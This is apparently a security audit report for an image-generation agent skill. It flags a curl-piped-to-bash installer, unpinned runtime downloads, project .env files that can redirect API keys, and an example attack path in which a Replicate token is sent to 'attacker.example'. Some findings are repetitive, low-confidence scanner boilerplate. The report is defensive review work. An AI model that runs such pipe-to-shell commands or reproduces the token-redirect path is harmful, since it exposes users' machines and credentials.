T03 · Remote Payload Retrieval and Execution
Error
- Location
SKILL.md:154- Finding
Unverified Remote Installer Is Piped Directly to a Shell
- Content
View full analysis
- Remediation
View remediation
Security audit
panda-imagine
Security checks for vulnerabilities and agentic risk
Overview
The skill is a real multi-provider image generator, but it needs Review because it recommends unsafe remote installers and has under-scoped credential and endpoint handling.
Install only if you are comfortable reviewing the commands and configuration first. Avoid the `curl | bash` installer, prefer a verified/pinned Dreamina install path, keep API keys in user-level secret storage rather than project files, and do not run this skill from untrusted repositories that may contain `.panda-skills/.env` or custom provider endpoints.
Vulnerability Patterns
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Insecure DependenciesIntroduces malicious components through unsafe dependency sources
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Findings (5)
T08 · Insecure Dependencies
Warning
- Location
SKILL.md:20- Finding
Unpinned Bun Runtime Is Automatically Downloaded and Executed
- Content
View full analysis
- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Error
- Location
scripts/main.ts:148- Finding
Project-Controlled Environment Configuration Can Redirect Credentials and Private Inputs
- Content
View full analysis
{ const home = homedir(); const cwd = process.cwd(); const sources = [ path.join(home, ".panda-skills", ".env"), path.join(cwd, ".panda-skills", ".env"), path.join(home, ".baoyu-skills", ".env"), path.join(cwd, ".baoyu-skills", ".env"), ]; for (const src of sources) { for (const [k, v] of Object.entries(await loadEnvFile(src))) { if (!process.env[k]) process.env[k] = v; } } } ``` Provider implementations then trust unrestricted endpoint overrides and attach credentials. For example: ```ts const apiKey = process.env.OPENAI_API_KEY; if (!apiKey) throw new Error("需要设置 OPENAI_API_KEY"); const baseUrl = (process.env.OPENAI_BASE_URL || "https://api.openai.com/v1").replace(/\/+$/, ""); const size = args.size?.replace("*", "x") ?? getOpenAISize(model, args.aspectRatio, args.quality); const headers: Record = { Authorization: `Bearer ${apiKey}` }; ``` Reference files are included in the request: ```ts for (const refPath of args.referenceImages) { const buf = await readFile(path.resolve(refPath)); const ext = path.extname(refPath).toLowerCase(); const mime = ext === ".jpg" || ext === ".jpeg" ? "image/jpeg" : "image/png"; form.append("image[]", new Blob([buf], { type: mime }), path.basename(refPath)); } const res = await fetch(`${baseUrl}/images/edits`, { method: "POST", headers, body: form }); ``` Equivalent unrestricted base URL controls exist for the other providers. ### Technical Analysis Th ...[truncated 2039 chars]- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Error
- Location
scripts/providers/replicate.ts:82- Finding
Replicate Bearer Token Is Forwarded to an Unvalidated Response-Controlled Polling URL
- Content
View full analysis
setTimeout(r, POLL_INTERVAL)); const pollRes = await fetch(getUrl, { headers: { Authorization: `Bearer ${apiToken}` }, }); if (!pollRes.ok) throw new Error(`Replicate 轮询错误 (${pollRes.status})`); prediction = await pollRes.json(); ``` ### Technical Analysis The polling URL is taken directly from `prediction.urls.get`, which is controlled by the remote API response. The implementation does not validate its scheme, hostname, port, or origin before attaching the complete Replicate bearer token. The initial endpoint is also configurable, which increases exposure when combined with a malicious endpoint override. Even with the official service, a compromised or malformed response can redirect the credential to another origin. ### Attack Path 1. The initial prediction response is controlled by a malicious configured endpoint, compromised service, or altered upstream response. 2. The response includes: ```json { "status": "processing", "urls": { "get": "https://attacker.example/collect" } } ``` 3. The client accepts that URL without validation. 4. During polling, the client sends `Authorization: Bearer ` to the attacker origin. 5. The attacker captures and reuses the token. ### Impact Assessment The attacker receives the complete Replicate API token. The token can be used for operations allowed by the associated Replicate account, potentially including chargeable model execution and access to account-scoped prediction resources. ]]>- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Warning
- Location
references/config/first-time-setup.md:77- Finding
Setup Guidance Encourages Plaintext API Keys in Project Files
- Content
View full analysis
- Remediation
View remediation
Vulnerability Patterns
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
- Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
- MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (58)
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 99% confidence
- Finding
The documentation instructs users to pipe a remote script directly into bash, which executes unverified code from the network immediately. If the remote host, transport, or published installer is compromised, this becomes instant arbitrary code execution on the user's machine.
- Content
安装 dreamina CLI:
bash curl -fsSL https://jimeng.jianying.com/cli | bash dreamina login
Chaining Abuse
High
- Category
- Tool Misuse
- Confidence
- 98% confidence
- Finding
The shell pipe into bash is a classic command-chaining pattern that bypasses review of downloaded content and directly transfers trust from a remote endpoint to local code execution. In this skill's context, the command is presented as a normal prerequisite, making accidental execution by users especially likely.
- Content
安装 dreamina CLI:
bash curl -fsSL https://jimeng.jianying.com/cli | bash dreamina login
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
加载优先级
text CLI 参数 > EXTEND.md > 环境变量 > .panda-skills/.env > ~/.panda-skills/.envEXTEND.md 中的配置优先于环境变量。例如 EXTEND.md 设置了
default_model.google: gemini-3-pro-image-preview，即使环境变量中有GOOGLE_IMAGE_MODEL=其他模型，也会使用 EXTEND.md 的值。
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
加载优先级
text CLI 参数 > EXTEND.md > 环境变量 > .panda-skills/.env > ~/.panda-skills/.envEXTEND.md 中的配置优先于环境变量。例如 EXTEND.md 设置了
default_model.google: gemini-3-pro-image-preview，即使环境变量中有GOOGLE_IMAGE_MODEL=其他模型，也会使用 EXTEND.md 的值。
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
ts ## 加载优先级 ``` CLI 参数 > EXTEND.md > 环境变量 > .panda-skills/.env > ~/.panda-skills/.env ``` EXTEND.md 中的配置优先于环境变量。例如 EXTEND.md 设置了 `default_model.google: gemini-3-pro-image-preview`，即使环境变量中有 `GOOGLE_IMAGE_MODEL=其他模型`，也会使用 EXTEND.md 的值。
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
ts ## 加载优先级 ``` CLI 参数 > EXTEND.md > 环境变量 > .panda-skills/.env > ~/.panda-skills/.env ``` EXTEND.md 中的配置优先于环境变量。例如 EXTEND.md 设置了 `default_model.google: gemini-3-pro-image-preview`，即使环境变量中有 `GOOGLE_IMAGE_MODEL=其他模型`，也会使用 EXTEND.md 的值。
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
ts const home = homedir(); const cwd = process.cwd(); const sources = [ path.join(home, ".panda-skills", ".env"), path.join(cwd, ".panda-skills", ".env"), path.join(home, ".baoyu-skills", ".env"), path.join(cwd, ".baoyu-skills", ".env"),
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
ts const home = homedir(); const cwd = process.cwd(); const sources = [ path.join(home, ".panda-skills", ".env"), path.join(cwd, ".panda-skills", ".env"), path.join(home, ".baoyu-skills", ".env"), path.join(cwd, ".baoyu-skills", ".env"),
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 67% confidence
- Finding
Automatically loading a .env file from the current working directory can cross a trust boundary: if a user runs the tool inside an untrusted repository, attacker-controlled environment values may be injected into the process. That can redirect provider endpoints, swap API keys, or alter downstream module behavior, especially in a multi-provider networked image-generation skill.
- Content
ts const cwd = process.cwd(); const sources = [ path.join(home, ".panda-skills", ".env"), path.join(cwd, ".panda-skills", ".env"), path.join(home, ".baoyu-skills", ".env"), path.join(cwd, ".baoyu-skills", ".env"), ];
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 67% confidence
- Finding
As with the other cwd-based path, auto-loading .env from the current directory under a legacy namespace can allow attacker-supplied configuration to influence authentication and network behavior when the tool is executed in an untrusted folder. In this context, the skill connects to external providers, so poisoned environment variables can have real outbound effects.
- Content
ts path.join(home, ".panda-skills", ".env"), path.join(cwd, ".panda-skills", ".env"), path.join(home, ".baoyu-skills", ".env"), path.join(cwd, ".baoyu-skills", ".env"), ]; for (const src of sources) { for (const [k, v] of Object.entries(await loadEnvFile(src))) {
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
ts export function isDreaminaAvailable(): boolean { if (_cliChecked !== null) return _cliChecked; const credPath = path.join(homedir(), ".dreamina_cli", "credential.json"); _cliChecked = existsSync(credPath); return _cliChecked; }
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
ts export function isDreaminaAvailable(): boolean { if (_cliChecked !== null) return _cliChecked; const credPath = path.join(homedir(), ".dreamina_cli", "credential.json"); _cliChecked = existsSync(credPath); return _cliChecked; }
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 95% confidence
- Finding
The error message instructs users to install the CLI via 'curl ... | bash', which normalizes executing remote script content directly in a shell without integrity verification. If the remote server, DNS, TLS trust chain, or distribution pipeline is compromised, users could execute attacker-controlled code on their machine.
- Content
ts async function generateViaApi(prompt: string, model: string, args: CliArgs): Promise<Uint8Array> { if (args.referenceImages.length) { throw new Error("即梦 API 模式不支持 --ref 参考图。请安装 dreamina CLI（curl -fsSL https://jimeng.jianying.com/cli | bash）以获得参考图支持"); } const { width, height } = resolveSize(args);
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 97% confidence
- Finding
This message again recommends piping a remotely fetched script directly to bash, creating a supply-chain and arbitrary code execution risk for users following the instructions. In a developer tool or agent skill context, such guidance is especially risky because users may copy-paste suggested commands with elevated trust.
- Content
ts throw new Error( "即梦需要以下任一配置：\n" + " 1. 安装 dreamina CLI（推荐）：curl -fsSL https://jimeng.jianying.com/cli | bash\n" + " 2. 设置 JIMENG_ACCESS_KEY_ID + JIMENG_SECRET_ACCESS_KEY 环境变量" ); }
Undeclared Tool Scope
Medium
- Category
- MCP Least Privilege
- Confidence
- 94% confidence
- Finding
The skill explicitly invokes shell execution, accesses environment variables for API keys, and performs network calls to multiple third-party providers, yet it declares no permissions or allowed-tools scope. This creates an overbroad execution surface where users and hosting agents cannot clearly constrain what the skill is allowed to do.
- Content
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 92% confidence
- Finding
This skill sends prompts, reference images, and possibly metadata to external image-generation providers, but the description does not clearly warn users about that data flow. In an agent context, users may unintentionally provide sensitive text or images, assuming processing is local when it is not.
- Content
Rp1
Medium
- Category
- MCP Rug Pull
- Confidence
- 91% confidence
- Finding
Using 'npx -y bun' without a pinned version allows retrieval of whatever package/version is current at execution time, which weakens supply-chain integrity and reproducibility. If the resolved package or its distribution path is compromised, the skill may execute attacker-controlled code before image generation even begins.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 95% confidence
- Finding
All user-facing instructions and prompts in this file are presented in Chinese only. Under the policy, forcing a specific language without offering a user choice or documenting the locale constraint is a natural-language policy violation.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 96% confidence
- Finding
The CLI help output and many user-visible error/status strings in this file are written only in Chinese, which imposes a specific language on users without any opt-in or alternative locale. The policy explicitly flags language or locale constraints when the skill does not offer user choice or document a justified region-specific limitation.
- Content
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 93% confidence
- Finding
The function reads AZURE_OPENAI_API_KEY from the environment and sends the prompt plus any referenced local image files in HTTP requests to an Azure OpenAI endpoint. There is no confirmation prompt, visible logging/print statement, or explanatory comment/docstring in this file warning that local content and user input will be uploaded to a remote service.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 91% confidence
- Finding
This TypeScript file includes multiple user-visible error and status messages in Chinese, such as the fixed-ratio error and missing API key error. Because the file does not offer a language selection mechanism or document that it is intentionally China/Chinese-specific, it appears to enforce a specific language without user opt-in.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 94% confidence
- Finding
This error string is presented only in Chinese, forcing a specific language for user-visible output without offering a choice or documenting a locale-specific constraint. That conflicts with the policy against language or locale restrictions without user opt-in.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 93% confidence
- Finding
The thrown error for unsupported --ref usage is written only in Chinese, which imposes a language choice on users without opt-in. There is no indication this file is intentionally region-specific or that users can select their preferred language.
- Content
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 90% confidence
- Finding
This code reads local files from args.referenceImages, base64-encodes them, and includes their contents in an outbound HTTP request to the Google API. There is no confirmation prompt, user-facing log/print, or inline comment/docstring warning that local image data will be uploaded to a remote service.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 92% confidence
- Finding
This thrown error is a Chinese-only user-visible message and does not provide any language choice. In the absence of a documented locale constraint, it violates the requirement not to force a specific language without user opt-in.
- Content
Static analysis
Detected: suspicious.dangerous_exec, suspicious.env_credential_access
Shell command execution detected (child_process).
Critical
- Code
- suspicious.dangerous_exec
- Location
- scripts/providers/jimeng.ts:51
Environment variable access combined with network send.
Critical
- Code
- suspicious.env_credential_access
- Location
- scripts/providers/azure.ts:31
Environment variable access combined with network send.
Critical
- Code
- suspicious.env_credential_access
- Location
- scripts/providers/dashscope.ts:78
Environment variable access combined with network send.
Critical
- Code
- suspicious.env_credential_access
- Location
- scripts/providers/google.ts:22
Environment variable access combined with network send.
Critical
- Code
- suspicious.env_credential_access
- Location
- scripts/providers/jimeng.ts:33
Environment variable access combined with network send.
Critical
- Code
- suspicious.env_credential_access
- Location
- scripts/providers/minimax.ts:9
Environment variable access combined with network send.
Critical
- Code
- suspicious.env_credential_access
- Location
- scripts/providers/openai.ts:30
Environment variable access combined with network send.
Critical
- Code
- suspicious.env_credential_access
- Location
- scripts/providers/openrouter.ts:13
Environment variable access combined with network send.
Critical
- Code
- suspicious.env_credential_access
- Location
- scripts/providers/replicate.ts:10
Environment variable access combined with network send.
Critical
- Code
- suspicious.env_credential_access
- Location
- scripts/providers/seedream.ts:36